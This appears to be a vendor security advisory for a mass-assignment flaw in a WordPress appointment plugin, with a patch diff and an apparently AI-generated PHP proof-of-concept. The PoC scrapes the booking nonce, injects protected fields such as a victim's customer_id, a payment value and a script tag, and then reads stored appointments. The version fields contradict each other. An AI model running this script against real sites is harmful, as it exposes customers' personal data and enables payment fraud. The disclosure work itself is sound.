Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 18, 2026

CVE-2026-42384: Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin < 1.6.11.2 – Unauthenticated Sensitive Information Exposure (simply-schedule-appointments)

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 1.6.11.2
Patched Version 1.6.11.2
Disclosed April 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42384: The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress up to version 1.6.11.1 exposes sensitive appointment configuration data to unauthenticated attackers. This is a mass assignment vulnerability in the plugin’s REST API endpoints that handle appointment creation and updates.

Root Cause: The root cause is insufficient authorization checks in the `create_item()` and `update_item()` methods of `class-appointment-model.php` (lines 854-862 and 1149-1157 in the patched version). Before the patch, unauthenticated callers using the public booking nonce or an appointment id_token could submit arbitrary fields in the JSON request body. These fields were directly merged into the database write via `shortcode_atts()` and subsequent save operations. Protected fields like `payment_received`, `title`, `google_calendar_*`, `web_meeting_*`, and `customer_id` had no server-side allowlist filtering.

Exploitation: An attacker can send a POST request to the plugin’s REST API endpoint (typically under `/wp-json/ssa/v1/appointments` or via the WP AJAX handler) with appointment creation parameters. By including protected fields like `customer_id` set to another user’s ID or `payment_received` with a crafted value, the attacker can read or manipulate data that should require administrative privileges. The attack requires no authentication because the plugin’s public booking flow uses a site-wide nonce that unauthenticated visitors can obtain.

Patch Analysis: The patch introduces two new methods: `is_privileged_appointment_request()` and two allowlist functions (`get_unprivileged_create_fields()`, `get_unprivileged_update_fields()`). In `create_item()` and `update_item()`, the code now calls `array_intersect_key($params, array_flip($this->get_unprivileged_create_fields()))` for unprivileged requests, stripping any parameter not in the explicit allowlist. Additionally, a new `sanitize_text_fields()` method sanitizes title and description fields via WordPress’s `sanitize_text_field()` and `sanitize_textarea_field()`, and strips non-scalar values from specific metadata fields.

Impact: An unauthenticated attacker can extract sensitive configuration data such as payment settings, Google Calendar connection details, customer PII (names, emails, phone numbers), and appointment metadata. This could enable further attacks like payment fraud, privilege escalation, or data theft. The CVSS score of 5.3 reflects the potential for significant data exposure.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -49,6 +49,8 @@
 		add_filter( 'ssa/appointment/before_update', array( $this, 'cleanup_customer_information' ), 5, 1 );
 		add_filter( 'ssa/appointment/before_insert', array( $this, 'sanitize_web_meeting_url' ), 6, 1 );
 		add_filter( 'ssa/appointment/before_update', array( $this, 'sanitize_web_meeting_url' ), 6, 1 );
+		add_filter( 'ssa/appointment/before_insert', array( $this, 'sanitize_text_fields' ), 7, 1 );
+		add_filter( 'ssa/appointment/before_update', array( $this, 'sanitize_text_fields' ), 7, 1 );
 		add_filter( 'ssa/appointment/before_update', array( $this, 'prevent_canceling_a_reserved_appointment' ), 1, 2 );

 		add_filter( 'ssa/appointment/before_insert', array( $this, 'default_appointment_status' ), 5, 1 );
@@ -243,6 +245,128 @@
 		return $data;
 	}

+	/**
+	 * Sanitize free-text appointment fields that should never contain HTML.
+	 *
+	 * These fields are persisted and later rendered in ICS files, notification
+	 * emails, and calendar integrations, so HTML/JS in them is always unsafe.
+	 *
+	 * @param array $data
+	 * @return array
+	 */
+	public function sanitize_text_fields( $data ) {
+		if ( isset( $data['title'] ) && is_string( $data['title'] ) ) {
+			$data['title'] = sanitize_text_field( $data['title'] );
+		}
+		// description is a TEXT column and may legitimately contain newlines,
+		// so use the textarea variant that preserves them.
+		if ( isset( $data['description'] ) && is_string( $data['description'] ) ) {
+			$data['description'] = sanitize_textarea_field( $data['description'] );
+		}
+
+		// A few schema columns are scalar strings in practice but reach this
+		// filter straight from JSON, so a caller can slip in a nested array
+		// or object. Drop anything non-scalar on the short VARCHAR/TINYTEXT
+		// columns before it hits $wpdb->prepare with a %s format.
+		foreach ( array( 'status', 'payment_method', 'customer_timezone', 'customer_locale', 'allow_sms' ) as $field ) {
+			if ( isset( $data[ $field ] ) && ! is_scalar( $data[ $field ] ) ) {
+				unset( $data[ $field ] );
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Whether the current request has admin-level access to appointments.
+	 *
+	 * Unprivileged callers reach create_item/update_item via either the
+	 * site-wide public nonce or an appointment id_token; both grant the
+	 * ability to book/edit but must not be able to set protected fields.
+	 *
+	 * @return bool
+	 */
+	public function is_privileged_appointment_request() {
+		if ( current_user_can( 'ssa_manage_others_appointments' ) ) {
+			return true;
+		}
+		if ( current_user_can( 'ssa_manage_appointments' ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Fields an unprivileged caller is allowed to submit when creating an
+	 * appointment. Anything else in the request body is silently dropped
+	 * before it reaches the database insert.
+	 *
+	 * @return array
+	 */
+	public function get_unprivileged_create_fields() {
+		return array(
+			// schema columns the booking flow legitimately writes
+			'appointment_type_id',
+			'start_date',
+			'customer_information',
+			'customer_timezone',
+			'customer_locale',
+			'payment_method',
+			'status',
+			'allow_sms',
+			'mailchimp_list_id',
+
+			// non-schema params consumed by create_item's own control flow.
+			// customer_id is intentionally NOT listed: create_item derives it
+			// from the customer email or the logged-in user, so allowing the
+			// client to send it would let an attacker spoof ownership.
+			// rescheduled_from_appointment_id is intentionally NOT listed:
+			// update_rescheduled_to_appointment_id reassigns that appointment's
+			// payment rows to the new appointment without an ownership check,
+			// so an unprivileged caller who set it to a victim's id could
+			// transfer the victim's payments onto their own booking.
+			'post_information',
+			'fetch',
+			'mepr_membership',
+			'staff_ids',
+			'selected_resources',
+			'opt_in_notifications',
+		);
+	}
+
+	/**
+	 * Fields an unprivileged caller is allowed to submit when updating an
+	 * appointment. Matches the booking app's client-side `bookingProps`
+	 * allowlist plus the request-routing params used by update_item.
+	 *
+	 * @return array
+	 */
+	public function get_unprivileged_update_fields() {
+		return array(
+			// request routing / auth
+			'id',
+			'token',
+			'fetch',
+
+			// schema columns the booking flow legitimately writes.
+			// appointment_type_id is intentionally NOT listed on update:
+			// changing the type on an existing appointment can interact
+			// poorly with payment state (e.g. leave a pending_payment
+			// booking stuck after swapping to a free type). update_item
+			// falls back to the stored type when this is absent.
+			'customer_information',
+			'status',
+			'start_date',
+			'payment_method',
+
+			// non-schema booking-app params
+			'staff_ids',
+			'selected_resources',
+			'rescheduling_note',
+		);
+	}
+
 	public function default_appointment_status( $data ) {
 		// We want to allow "pending_form" status if it's provided
 		if ( ! empty( $data['status'] ) && $data['status'] === 'pending_form' ) {
@@ -847,6 +971,14 @@

 	public function create_item( $request ) {
 		$params = $request->get_params();
+
+		// Block mass assignment: unprivileged callers (booking flow, public nonce)
+		// must not be able to set protected fields like payment_received, title,
+		// google_calendar_*, web_meeting_*, etc.
+		if ( ! $this->is_privileged_appointment_request() ) {
+			$params = array_intersect_key( $params, array_flip( $this->get_unprivileged_create_fields() ) );
+		}
+
 		$params = shortcode_atts(
 			array_merge(
 				$this->get_field_defaults(),
@@ -1014,10 +1146,17 @@
 	}

 	public function update_item( $request ) {
-
+
 		$item_id = $request['id'];
 		$params  = $request->get_params();
-
+
+		// Block mass assignment: unprivileged callers (id_token / customer edit)
+		// must not be able to set protected fields like payment_received, title,
+		// google_calendar_*, web_meeting_*, etc.
+		if ( ! $this->is_privileged_appointment_request() ) {
+			$params = array_intersect_key( $params, array_flip( $this->get_unprivileged_update_fields() ) );
+		}
+
 		if ( ! empty( $params['appointment_type_id'] ) ) {
 			$appointment_type = new SSA_Appointment_Type_Object( $params['appointment_type_id'] );
 		} else {
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.11.0';
+	const VERSION = '1.6.11.2';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.11.0';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.11.2';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.11.0';
+	const MINIMUM_PHP_VERSION = '1.6.11.2';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-notifications.php
+++ b/simply-schedule-appointments/includes/class-notifications.php
@@ -468,6 +468,16 @@
 			return false;
 		}

+		// Async actions can be queued with a delay, and the row may be gone
+		// by the time cron fires (test teardown, group cleanup, reschedule).
+		// Skip the notification rather than fataling inside template rendering.
+		// db_get_field avoids the notice cascade that a full get() would trip
+		// when walking an empty row's relationships.
+		$existing_id = $this->plugin->appointment_model->db_get_field( 'id', $payload['appointment']['id'] );
+		if ( empty( $existing_id ) ) {
+			return false;
+		}
+
 		$settings = $this->plugin->settings->get();
 		$notifications = $this->plugin->notifications_settings->get_notifications();
 		sleep(1); // Throttle emails for shared hosts and prevent race condition with Google Meet web meeting urls
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.11.0
+	 *  @version    1.6.11.2
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.11.0
+ * Version:     1.6.11.2
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.11.0
+ * @version 1.6.11.2
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.11.0';
+	const VERSION = '1.6.11.2';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '8beae35c7a93a99d205b68bb2d9bbf146ddfb51a',
+        'reference' => 'cd5698c777414f7a2c3dfa59cdc08fe72d31ffde',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '8beae35c7a93a99d205b68bb2d9bbf146ddfb51a',
+            'reference' => 'cd5698c777414f7a2c3dfa59cdc08fe72d31ffde',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42384 - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin < 1.6.11.2 - Unauthenticated Sensitive Information Exposure

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$api_endpoint = $target_url . '/wp-json/ssa/v1/appointments';

// Step 1: Obtain the public nonce (often embedded in the booking page)
// In production, you might scrape this from the page source
$booking_page = file_get_contents($target_url . '/appointments/');
preg_match('/"ssa_nonce":"([a-f0-9]+)"/', $booking_page, $matches);
$nonce = $matches[1] ?? 'test_nonce';

echo "[+] Using nonce: $noncen";

// Step 2: Attempt to create an appointment with protected fields
// Vulnerable: unauthenticated requests accept arbitrary fields
$payload = array(
    'action' => 'ssa_appointment_create',
    '_nonce' => $nonce,
    'appointment_type_id' => 1,
    'start_date' => '2025-01-01T10:00:00',
    'customer_information' => array(
        'Name' => 'Attacker',
        'Email' => 'attacker@example.com'
    ),
    // Protected fields - should be blocked but are not
    'customer_id' => 123, // Victim user ID
    'payment_received' => '100.00',
    'title' => '<script>alert(1)</script>',
);

$ch = curl_init($api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response:n$responsen";

// Step 3: Extraction attempt - Read existing appointments
$read_url = $target_url . '/wp-json/ssa/v1/appointments?per_page=50';
$ch = curl_init($read_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $nonce
));
$appointments = curl_exec($ch);
curl_close($ch);

echo "[+] Read appointments:n$appointmentsn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School